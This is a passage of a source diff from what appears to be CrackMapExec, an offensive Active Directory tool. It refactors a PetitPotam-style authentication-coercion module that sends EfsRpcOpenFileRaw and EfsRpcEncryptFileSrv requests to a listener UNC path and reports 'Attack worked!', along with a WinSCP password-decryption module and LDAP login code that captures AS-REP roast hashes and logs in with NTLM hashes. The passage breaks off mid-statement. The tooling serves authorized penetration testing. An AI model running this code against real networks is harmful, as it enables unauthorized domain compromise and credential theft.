dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
|
||||||
|
|
||||||
if doKerberos:
|
dce = rpc_transport.get_dce_rpc()
|
||||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
dce.set_auth_type(RPC_C_AUTHN_WINNT)
|
||||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||||
|
|
||||||
logging.debug("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
|
if do_kerberos:
|
||||||
try:
|
rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
|
||||||
dce.connect()
|
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||||
except Exception as e:
|
|
||||||
logging.debug("Something went wrong, check error status => %s" % str(e))
|
logging.debug("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
|
||||||
sys.exit()
|
try:
|
||||||
logging.debug("[+] Connected!")
|
dce.connect()
|
||||||
logging.debug("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0])
|
except Exception as e:
|
||||||
try:
|
logging.debug("Something went wrong, check error status => %s" % str(e))
|
||||||
dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR']))
|
sys.exit()
|
||||||
except Exception as e:
|
logging.debug("[+] Connected!")
|
||||||
logging.debug("Something went wrong, check error status => %s" % str(e))
|
logging.debug("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0])
|
||||||
sys.exit()
|
try:
|
||||||
logging.debug("[+] Successfully bound!")
|
dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR']))
|
||||||
return dce
|
except Exception as e:
|
||||||
|
logging.debug("Something went wrong, check error status => %s" % str(e))
|
||||||
def EfsRpcOpenFileRaw(self, dce, listener):
|
sys.exit()
|
||||||
logging.debug("[-] Sending EfsRpcOpenFileRaw!")
|
logging.debug("[+] Successfully bound!")
|
||||||
try:
|
return dce
|
||||||
request = EfsRpcOpenFileRaw()
|
|
||||||
request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
|
|
||||||
request['Flag'] = 0
|
def efs_rpc_open_file_raw(dce, listener):
|
||||||
#request.dump()
|
logging.debug("[-] Sending EfsRpcOpenFileRaw!")
|
||||||
resp = dce.request(request)
|
try:
|
||||||
|
request = EfsRpcOpenFileRaw()
|
||||||
except Exception as e:
|
request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
|
||||||
if str(e).find('ERROR_BAD_NETPATH') >= 0:
|
request['Flag'] = 0
|
||||||
logging.debug('[+] Got expected ERROR_BAD_NETPATH exception!!')
|
resp = dce.request(request)
|
||||||
logging.debug('[+] Attack worked!')
|
|
||||||
return True
|
except Exception as e:
|
||||||
if str(e).find('rpc_s_access_denied') >= 0:
|
if str(e).find('ERROR_BAD_NETPATH') >= 0:
|
||||||
logging.debug('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!')
|
logging.debug('[+] Got expected ERROR_BAD_NETPATH exception!!')
|
||||||
logging.debug('[+] OK! Using unpatched function!')
|
logging.debug('[+] Attack worked!')
|
||||||
logging.debug("[-] Sending EfsRpcEncryptFileSrv!")
|
return True
|
||||||
try:
|
if str(e).find('rpc_s_access_denied') >= 0:
|
||||||
request = EfsRpcEncryptFileSrv()
|
logging.debug('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!')
|
||||||
request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
|
logging.debug('[+] OK! Using unpatched function!')
|
||||||
resp = dce.request(request)
|
logging.debug("[-] Sending EfsRpcEncryptFileSrv!")
|
||||||
except Exception as e:
|
try:
|
||||||
if str(e).find('ERROR_BAD_NETPATH') >= 0:
|
request = EfsRpcEncryptFileSrv()
|
||||||
logging.debug('[+] Got expected ERROR_BAD_NETPATH exception!!')
|
request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
|
||||||
logging.debug('[+] Attack worked!')
|
resp = dce.request(request)
|
||||||
return True
|
except Exception as e:
|
||||||
else:
|
if str(e).find('ERROR_BAD_NETPATH') >= 0:
|
||||||
logging.debug("Something went wrong, check error status => %s" % str(e))
|
logging.debug('[+] Got expected ERROR_BAD_NETPATH exception!!')
|
||||||
|
logging.debug('[+] Attack worked!')
|
||||||
else:
|
return True
|
||||||
logging.debug("Something went wrong, check error status => %s" % str(e))
|
else:
|
||||||
|
logging.debug("Something went wrong, check error status => %s" % str(e))
|
||||||
|
|
||||||
|
else:
|
||||||
|
logging.debug("Something went wrong, check error status => %s" % str(e))
|
||||||
|
|
|
@ -7,6 +7,7 @@
|
||||||
# - https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/parser/winscp.rb
|
# - https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/parser/winscp.rb
|
||||||
|
|
||||||
import traceback
|
import traceback
|
||||||
|
from typing import Tuple
|
||||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||||
from impacket.dcerpc.v5 import rrp
|
from impacket.dcerpc.v5 import rrp
|
||||||
from impacket.examples.secretsdump import RemoteOperations
|
from impacket.examples.secretsdump import RemoteOperations
|
||||||
|
@ -105,7 +106,7 @@ class CMEModule:
|
||||||
clearpass = clearpass[len(key):]
|
clearpass = clearpass[len(key):]
|
||||||
return clearpass
|
return clearpass
|
||||||
|
|
||||||
def dec_next_char(self, passBytes) -> tuple[int, bytes]:
|
def dec_next_char(self, passBytes) -> "Tuple[int, bytes]":
|
||||||
"""
|
"""
|
||||||
Decrypts the first byte of the password and returns the decrypted byte and the remaining bytes.
|
Decrypts the first byte of the password and returns the decrypted byte and the remaining bytes.
|
||||||
Parameters
|
Parameters
|
||||||
|
|
|
@ -35,20 +35,23 @@ from pywerview.cli.helpers import *
|
||||||
from re import sub, I
|
from re import sub, I
|
||||||
from zipfile import ZipFile
|
from zipfile import ZipFile
|
||||||
|
|
||||||
|
from OpenSSL.SSL import SysCallError
|
||||||
|
|
||||||
ldap_error_status = {
|
ldap_error_status = {
|
||||||
"1":"STATUS_NOT_SUPPORTED",
|
"1": "STATUS_NOT_SUPPORTED",
|
||||||
"533":"STATUS_ACCOUNT_DISABLED",
|
"533": "STATUS_ACCOUNT_DISABLED",
|
||||||
"701":"STATUS_ACCOUNT_EXPIRED",
|
"701": "STATUS_ACCOUNT_EXPIRED",
|
||||||
"531":"STATUS_ACCOUNT_RESTRICTION",
|
"531": "STATUS_ACCOUNT_RESTRICTION",
|
||||||
"530":"STATUS_INVALID_LOGON_HOURS",
|
"530": "STATUS_INVALID_LOGON_HOURS",
|
||||||
"532":"STATUS_PASSWORD_EXPIRED",
|
"532": "STATUS_PASSWORD_EXPIRED",
|
||||||
"773":"STATUS_PASSWORD_MUST_CHANGE",
|
"773": "STATUS_PASSWORD_MUST_CHANGE",
|
||||||
"775":"USER_ACCOUNT_LOCKED",
|
"775": "USER_ACCOUNT_LOCKED",
|
||||||
"50":"LDAP_INSUFFICIENT_ACCESS",
|
"50": "LDAP_INSUFFICIENT_ACCESS",
|
||||||
"KDC_ERR_CLIENT_REVOKED":"KDC_ERR_CLIENT_REVOKED",
|
"KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED",
|
||||||
"KDC_ERR_PREAUTH_FAILED":"KDC_ERR_PREAUTH_FAILED"
|
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
def resolve_collection_methods(methods):
|
def resolve_collection_methods(methods):
|
||||||
"""
|
"""
|
||||||
Convert methods (string) to list of validated methods to resolve
|
Convert methods (string) to list of validated methods to resolve
|
||||||
|
@ -177,29 +180,44 @@ class ldap(connection):
|
||||||
|
|
||||||
def proto_logger(self):
|
def proto_logger(self):
|
||||||
self.logger = CMEAdapter(extra={
|
self.logger = CMEAdapter(extra={
|
||||||
'protocol': "SMB",
|
'protocol': "SMB",
|
||||||
'host': self.host,
|
'host': self.host,
|
||||||
'port': "445",
|
'port': "445",
|
||||||
'hostname': self.hostname
|
'hostname': self.hostname
|
||||||
})
|
})
|
||||||
|
|
||||||
def get_ldap_info(self, host):
|
def get_ldap_info(self, host):
|
||||||
try:
|
try:
|
||||||
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
|
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
|
||||||
ldapConnection = ldap_impacket.LDAPConnection(proto + '://%s' % host)
|
ldap_url = f"{proto}://{host}"
|
||||||
|
logging.debug(f"Connecting to {ldap_url} - {self.baseDN} [0]")
|
||||||
|
try:
|
||||||
|
ldap_connection = ldap_impacket.LDAPConnection(ldap_url)
|
||||||
|
except SysCallError as e:
|
||||||
|
if proto == "ldaps":
|
||||||
|
logging.debug(f"LDAPs connection to {ldap_url} failed - {e}")
|
||||||
|
# https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority
|
||||||
|
logging.debug(f"Even if the port is open, LDAPS may not be configured")
|
||||||
|
else:
|
||||||
|
logging.debug(f"LDAP connection to {ldap_url} failed: {e}")
|
||||||
|
return [None, None, None]
|
||||||
|
|
||||||
resp = ldapConnection.search(scope=ldapasn1_impacket.Scope('baseObject'), attributes=['defaultNamingContext', 'dnsHostName'], sizeLimit=0)
|
resp = ldap_connection.search(
|
||||||
|
scope=ldapasn1_impacket.Scope('baseObject'),
|
||||||
|
attributes=['defaultNamingContext', 'dnsHostName'],
|
||||||
|
sizeLimit=0
|
||||||
|
)
|
||||||
for item in resp:
|
for item in resp:
|
||||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||||
continue
|
continue
|
||||||
target = None
|
target = None
|
||||||
targetDomain = None
|
target_domain = None
|
||||||
baseDN = None
|
base_dn = None
|
||||||
try:
|
try:
|
||||||
for attribute in item['attributes']:
|
for attribute in item['attributes']:
|
||||||
if str(attribute['type']) == 'defaultNamingContext':
|
if str(attribute['type']) == 'defaultNamingContext':
|
||||||
baseDN = str(attribute['vals'][0])
|
base_dn = str(attribute['vals'][0])
|
||||||
targetDomain = sub(',DC=', '.', baseDN[baseDN.lower().find('dc='):], flags=I)[3:]
|
target_domain = sub(',DC=', '.', base_dn[base_dn.lower().find('dc='):], flags=I)[3:]
|
||||||
if str(attribute['type']) == 'dnsHostName':
|
if str(attribute['type']) == 'dnsHostName':
|
||||||
target = str(attribute['vals'][0])
|
target = str(attribute['vals'][0])
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
|
@ -208,12 +226,12 @@ class ldap(connection):
|
||||||
except OSError as e:
|
except OSError as e:
|
||||||
return [None, None, None]
|
return [None, None, None]
|
||||||
|
|
||||||
return [target, targetDomain, baseDN]
|
return [target, target_domain, base_dn]
|
||||||
|
|
||||||
def get_os_arch(self):
|
def get_os_arch(self):
|
||||||
try:
|
try:
|
||||||
stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
|
string_binding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
|
||||||
transport = DCERPCTransportFactory(stringBinding)
|
transport = DCERPCTransportFactory(string_binding)
|
||||||
transport.set_connect_timeout(5)
|
transport.set_connect_timeout(5)
|
||||||
dce = transport.get_dce_rpc()
|
dce = transport.get_dce_rpc()
|
||||||
if self.args.kerberos:
|
if self.args.kerberos:
|
||||||
|
@ -221,30 +239,29 @@ class ldap(connection):
|
||||||
dce.connect()
|
dce.connect()
|
||||||
try:
|
try:
|
||||||
dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
|
dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
|
||||||
except (DCERPCException, e):
|
except DCERPCException as e:
|
||||||
if str(e).find('syntaxes_not_supported') >= 0:
|
if str(e).find('syntaxes_not_supported') >= 0:
|
||||||
dce.disconnect()
|
dce.disconnect()
|
||||||
return 32
|
return 32
|
||||||
else:
|
else:
|
||||||
dce.disconnect()
|
dce.disconnect()
|
||||||
return 64
|
return 64
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e)))
|
logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e)))
|
||||||
|
|
||||||
return 0
|
return 0
|
||||||
|
|
||||||
def get_ldap_username(self):
|
def get_ldap_username(self):
|
||||||
extendedRequest = ldapasn1_impacket.ExtendedRequest()
|
extended_request = ldapasn1_impacket.ExtendedRequest()
|
||||||
extendedRequest['requestName'] = '1.3.6.1.4.1.4203.1.11.3' # whoami
|
extended_request['requestName'] = '1.3.6.1.4.1.4203.1.11.3' # whoami
|
||||||
|
|
||||||
response = self.ldapConnection.sendReceive(extendedRequest)
|
response = self.ldapConnection.sendReceive(extended_request)
|
||||||
for message in response:
|
for message in response:
|
||||||
searchResult = message['protocolOp'].getComponent()
|
search_result = message['protocolOp'].getComponent()
|
||||||
if searchResult['resultCode'] == ldapasn1_impacket.ResultCode('success'):
|
if search_result['resultCode'] == ldapasn1_impacket.ResultCode('success'):
|
||||||
responseValue = searchResult['responseValue']
|
response_value = search_result['responseValue']
|
||||||
if responseValue.hasValue():
|
if response_value.hasValue():
|
||||||
value = responseValue.asOctets().decode(responseValue.encoding)[2:]
|
value = response_value.asOctets().decode(response_value.encoding)[2:]
|
||||||
return value.split('\\')[1]
|
return value.split('\\')[1]
|
||||||
return ''
|
return ''
|
||||||
|
|
||||||
|
@ -261,37 +278,33 @@ class ldap(connection):
|
||||||
try:
|
try:
|
||||||
self.conn.login('', '')
|
self.conn.login('', '')
|
||||||
except BrokenPipeError as e:
|
except BrokenPipeError as e:
|
||||||
self.logger.error(f"Broken Pipe Error while attempting to login")
|
self.logger.error(f"Broken Pipe Error while attempting to login: {e}")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
if "STATUS_NOT_SUPPORTED" in str(e):
|
if "STATUS_NOT_SUPPORTED" in str(e):
|
||||||
self.no_ntlm = True
|
self.no_ntlm = True
|
||||||
pass
|
pass
|
||||||
if not self.no_ntlm:
|
if not self.no_ntlm:
|
||||||
self.domain = self.conn.getServerDNSDomainName()
|
self.domain = self.conn.getServerDNSDomainName()
|
||||||
self.hostname = self.conn.getServerName()
|
self.hostname = self.conn.getServerName()
|
||||||
self.server_os = self.conn.getServerOS()
|
self.server_os = self.conn.getServerOS()
|
||||||
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
|
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
|
||||||
self.os_arch = self.get_os_arch()
|
self.os_arch = self.get_os_arch()
|
||||||
|
|
||||||
if not self.domain:
|
if not self.domain:
|
||||||
self.domain = self.hostname
|
self.domain = self.hostname
|
||||||
|
|
||||||
try:
|
try:
|
||||||
'''plaintext_login
|
# DC's seem to want us to logoff first, windows workstations sometimes reset the connection
|
||||||
DC's seem to want us to logoff first, windows workstations sometimes reset the connection
|
|
||||||
(go home Windows, you're drunk)
|
|
||||||
'''
|
|
||||||
self.conn.logoff()
|
self.conn.logoff()
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
if self.args.domain:
|
if self.args.domain:
|
||||||
self.domain = self.args.domain
|
self.domain = self.args.domain
|
||||||
|
|
||||||
if self.args.local_auth:
|
if self.args.local_auth:
|
||||||
self.domain = self.hostname
|
self.domain = self.hostname
|
||||||
|
|
||||||
#Re-connect since we logged off
|
# Re-connect since we logged off
|
||||||
self.create_conn_obj()
|
self.create_conn_obj()
|
||||||
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
|
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
|
||||||
self.output_filename = self.output_filename.replace(":", "-")
|
self.output_filename = self.output_filename.replace(":", "-")
|
||||||
|
@ -301,21 +314,23 @@ class ldap(connection):
|
||||||
self.logger.extra['protocol'] = "LDAP"
|
self.logger.extra['protocol'] = "LDAP"
|
||||||
self.logger.extra['port'] = "389"
|
self.logger.extra['port'] = "389"
|
||||||
self.logger.info(u"Connecting to LDAP {}".format(self.hostname))
|
self.logger.info(u"Connecting to LDAP {}".format(self.hostname))
|
||||||
#self.logger.info(self.endpoint)
|
# self.logger.info(self.endpoint)
|
||||||
else:
|
else:
|
||||||
self.logger.extra['protocol'] = "SMB" if not self.no_ntlm else "LDAP"
|
self.logger.extra['protocol'] = "SMB" if not self.no_ntlm else "LDAP"
|
||||||
self.logger.extra['port'] = "445" if not self.no_ntlm else "389"
|
self.logger.extra['port'] = "445" if not self.no_ntlm else "389"
|
||||||
self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(self.server_os,
|
self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(
|
||||||
' x{}'.format(self.os_arch) if self.os_arch else '',
|
self.server_os,
|
||||||
self.hostname,
|
' x{}'.format(self.os_arch) if self.os_arch else '',
|
||||||
self.domain,
|
self.hostname,
|
||||||
self.signing,
|
self.domain,
|
||||||
self.smbv1))
|
self.signing,
|
||||||
|
self.smbv1)
|
||||||
|
)
|
||||||
self.logger.extra['protocol'] = "LDAP"
|
self.logger.extra['protocol'] = "LDAP"
|
||||||
#self.logger.info(self.endpoint)
|
# self.logger.info(self.endpoint)
|
||||||
return True
|
return True
|
||||||
|
|
||||||
def kerberos_login(self, domain, username, password = '', ntlm_hash = '', aesKey = '', kdcHost = '', useCache = False):
|
def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False):
|
||||||
logging.getLogger("impacket").disabled = True
|
logging.getLogger("impacket").disabled = True
|
||||||
self.username = username
|
self.username = username
|
||||||
self.password = password
|
self.password = password
|
||||||
|
@ -326,22 +341,24 @@ class ldap(connection):
|
||||||
lmhash = ''
|
lmhash = ''
|
||||||
nthash = ''
|
nthash = ''
|
||||||
self.username = username
|
self.username = username
|
||||||
#This checks to see if we didn't provide the LM Hash
|
# This checks to see if we didn't provide the LM Hash
|
||||||
if ntlm_hash.find(':') != -1:
|
if ntlm_hash.find(':') != -1:
|
||||||
lmhash, nthash = ntlm_hash.split(':')
|
lmhash, nthash = ntlm_hash.split(':')
|
||||||
self.hash = nthash
|
self.hash = nthash
|
||||||
else:
|
else:
|
||||||
nthash = ntlm_hash
|
nthash = ntlm_hash
|
||||||
self.hash = ntlm_hash
|
self.hash = ntlm_hash
|
||||||
if lmhash: self.lmhash = lmhash
|
if lmhash:
|
||||||
if nthash: self.nthash = nthash
|
self.lmhash = lmhash
|
||||||
|
if nthash:
|
||||||
|
self.nthash = nthash
|
||||||
|
|
||||||
if self.password == '' and self.args.asreproast:
|
if self.password == '' and self.args.asreproast:
|
||||||
hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username)
|
hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username)
|
||||||
if hash_TGT:
|
if hash_tgt:
|
||||||
self.logger.highlight(u'{}'.format(hash_TGT))
|
self.logger.highlight(u'{}'.format(hash_tgt))
|
||||||
with open(self.args.asreproast, 'a+') as hash_asreproast:
|
with open(self.args.asreproast, 'a+') as hash_asreproast:
|
||||||
hash_asreproast.write(hash_TGT + '\n')
|
hash_asreproast.write(hash_tgt + '\n')
|
||||||
return False
|
return False
|
||||||
|
|
||||||
if not all('' == s for s in [self.nthash, password, aesKey]):
|
if not all('' == s for s in [self.nthash, password, aesKey]):
|
||||||
|
@ -352,21 +369,32 @@ class ldap(connection):
|
||||||
try:
|
try:
|
||||||
# Connect to LDAP
|
# Connect to LDAP
|
||||||
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
|
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
|
||||||
self.ldapConnection = ldap_impacket.LDAPConnection(proto + '://%s' % self.target, self.baseDN)
|
ldap_url = f"{proto}://{self.target}"
|
||||||
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash,
|
logging.debug(f"Connecting to {ldap_url} - {self.baseDN} [1]")
|
||||||
aesKey, kdcHost=kdcHost, useCache=useCache)
|
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
|
||||||
|
self.ldapConnection.kerberosLogin(
|
||||||
|
username,
|
||||||
|
password,
|
||||||
|
domain,
|
||||||
|
self.lmhash,
|
||||||
|
self.nthash,
|
||||||
|
aesKey,
|
||||||
|
kdcHost=kdcHost,
|
||||||
|
useCache=useCache
|
||||||
|
)
|
||||||
|
|
||||||
if self.username == '':
|
if self.username == '':
|
||||||
self.username = self.get_ldap_username()
|
self.username = self.get_ldap_username()
|
||||||
|
|
||||||
self.check_if_admin()
|
self.check_if_admin()
|
||||||
|
|
||||||
out = u'{}\\{}{} {}'.format(domain,
|
out = u'{}\\{}{} {}'.format(
|
||||||
self.username,
|
domain,
|
||||||
# Show what was used between cleartext, nthash, aesKey and ccache
|
self.username,
|
||||||
" from ccache" if useCache
|
# Show what was used between cleartext, nthash, aesKey and ccache
|
||||||
else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
||||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||||
|
)
|
||||||
|
|
||||||
self.logger.extra['protocol'] = "LDAP"
|
self.logger.extra['protocol'] = "LDAP"
|
||||||
self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
|
self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
|
||||||
|
@ -378,37 +406,51 @@ class ldap(connection):
|
||||||
return True
|
return True
|
||||||
except SessionKeyDecryptionError:
|
except SessionKeyDecryptionError:
|
||||||
# for PRE-AUTH account
|
# for PRE-AUTH account
|
||||||
self.logger.error(u'{}\\{}{} {}'.format(domain,
|
self.logger.error(u'{}\\{}{} {}'.format(
|
||||||
self.username,
|
domain,
|
||||||
" account vulnerable to asreproast attack",
|
self.username,
|
||||||
""),
|
" account vulnerable to asreproast attack",
|
||||||
color='yellow')
|
""),
|
||||||
|
color='yellow'
|
||||||
|
)
|
||||||
return False
|
return False
|
||||||
except SessionError as e:
|
except SessionError as e:
|
||||||
error, desc = e.getErrorString()
|
error, desc = e.getErrorString()
|
||||||
self.logger.error(u'{}\\{}{} {}'.format(self.domain,
|
self.logger.error(u'{}\\{}{} {}'.format(
|
||||||
self.username,
|
self.domain,
|
||||||
" from ccache" if useCache
|
self.username,
|
||||||
else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
||||||
str(error)),
|
str(error)),
|
||||||
color='magenta' if error in ldap_error_status else 'red')
|
color='magenta' if error in ldap_error_status else 'red'
|
||||||
|
)
|
||||||
return False
|
return False
|
||||||
except (KeyError, KerberosException, OSError) as e:
|
except (KeyError, KerberosException, OSError) as e:
|
||||||
self.logger.error(u'{}\\{}{} {}'.format(self.domain,
|
self.logger.error(u'{}\\{}{} {}'.format(
|
||||||
self.username,
|
self.domain,
|
||||||
" from ccache" if useCache
|
self.username,
|
||||||
else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
||||||
str(e)),
|
str(e)),
|
||||||
color='red')
|
color='red'
|
||||||
|
)
|
||||||
return False
|
return False
|
||||||
except ldap_impacket.LDAPSessionError as e:
|
except ldap_impacket.LDAPSessionError as e:
|
||||||
if str(e).find('strongerAuthRequired') >= 0:
|
if str(e).find('strongerAuthRequired') >= 0:
|
||||||
# We need to try SSL
|
# We need to try SSL
|
||||||
try:
|
try:
|
||||||
# Connect to LDAPS
|
# Connect to LDAPS
|
||||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % self.target, self.baseDN)
|
ldaps_url = f"ldaps://{self.target}"
|
||||||
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash,
|
logging.debug(f"Connecting to {ldaps_url} - {self.baseDN} [2]")
|
||||||
aesKey, kdcHost=kdcHost, useCache=useCache)
|
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||||
|
self.ldapConnection.kerberosLogin(
|
||||||
|
username,
|
||||||
|
password,
|
||||||
|
domain,
|
||||||
|
self.lmhash,
|
||||||
|
self.nthash,
|
||||||
|
aesKey,
|
||||||
|
kdcHost=kdcHost,
|
||||||
|
useCache=useCache
|
||||||
|
)
|
||||||
|
|
||||||
if self.username == '':
|
if self.username == '':
|
||||||
self.username = self.get_ldap_username()
|
self.username = self.get_ldap_username()
|
||||||
|
@ -416,11 +458,12 @@ class ldap(connection):
|
||||||
self.check_if_admin()
|
self.check_if_admin()
|
||||||
|
|
||||||
# Prepare success credential text
|
# Prepare success credential text
|
||||||
out = u'{}\\{}{} {}'.format(domain,
|
out = u'{}\\{}{} {}'.format(
|
||||||
self.username,
|
domain,
|
||||||
" from ccache" if useCache
|
self.username,
|
||||||
else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
||||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||||
|
)
|
||||||
|
|
||||||
if self.username == '':
|
if self.username == '':
|
||||||
self.username = self.get_ldap_username()
|
self.username = self.get_ldap_username()
|
||||||
|
@ -428,9 +471,11 @@ class ldap(connection):
|
||||||
self.check_if_admin()
|
self.check_if_admin()
|
||||||
|
|
||||||
# Prepare success credential text
|
# Prepare success credential text
|
||||||
out = u'{}\\{} {}'.format(domain,
|
out = u'{}\\{} {}'.format(
|
||||||
self.username,
|
domain,
|
||||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
self.username,
|
||||||
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
||||||
|
)
|
||||||
|
|
||||||
self.logger.extra['protocol'] = "LDAPS"
|
self.logger.extra['protocol'] = "LDAPS"
|
||||||
self.logger.extra['port'] = "636"
|
self.logger.extra['port'] = "636"
|
||||||
|
@ -441,30 +486,34 @@ class ldap(connection):
|
||||||
if not self.args.continue_on_success:
|
if not self.args.continue_on_success:
|
||||||
return True
|
return True
|
||||||
except ldap_impacket.LDAPSessionError as e:
|
except ldap_impacket.LDAPSessionError as e:
|
||||||
errorCode = str(e).split()[-2][:-1]
|
error_code = str(e).split()[-2][:-1]
|
||||||
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
self.logger.error(u'{}\\{}:{} {}'.format(
|
||||||
self.username,
|
self.domain,
|
||||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
self.username,
|
||||||
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
|
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||||
color='magenta' if errorCode in ldap_error_status else 'red')
|
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
|
||||||
|
color='magenta' if error_code in ldap_error_status else 'red'
|
||||||
|
)
|
||||||
return False
|
return False
|
||||||
except SessionError as e:
|
except SessionError as e:
|
||||||
error, desc = e.getErrorString()
|
error, desc = e.getErrorString()
|
||||||
self.logger.error(u'{}\\{}{} {}'.format(self.domain,
|
self.logger.error(u'{}\\{}{} {}'.format(
|
||||||
self.username,
|
self.domain,
|
||||||
" from ccache" if useCache
|
self.username,
|
||||||
else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
||||||
str(error)),
|
str(error)),
|
||||||
color='magenta' if error in ldap_error_status else 'red')
|
color='magenta' if error in ldap_error_status else 'red'
|
||||||
|
)
|
||||||
return False
|
return False
|
||||||
else:
|
else:
|
||||||
errorCode = str(e).split()[-2][:-1]
|
error_code = str(e).split()[-2][:-1]
|
||||||
self.logger.error(u'{}\\{}{} {}'.format(self.domain,
|
self.logger.error(u'{}\\{}{} {}'.format(
|
||||||
self.username,
|
self.domain,
|
||||||
" from ccache" if useCache
|
self.username,
|
||||||
else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
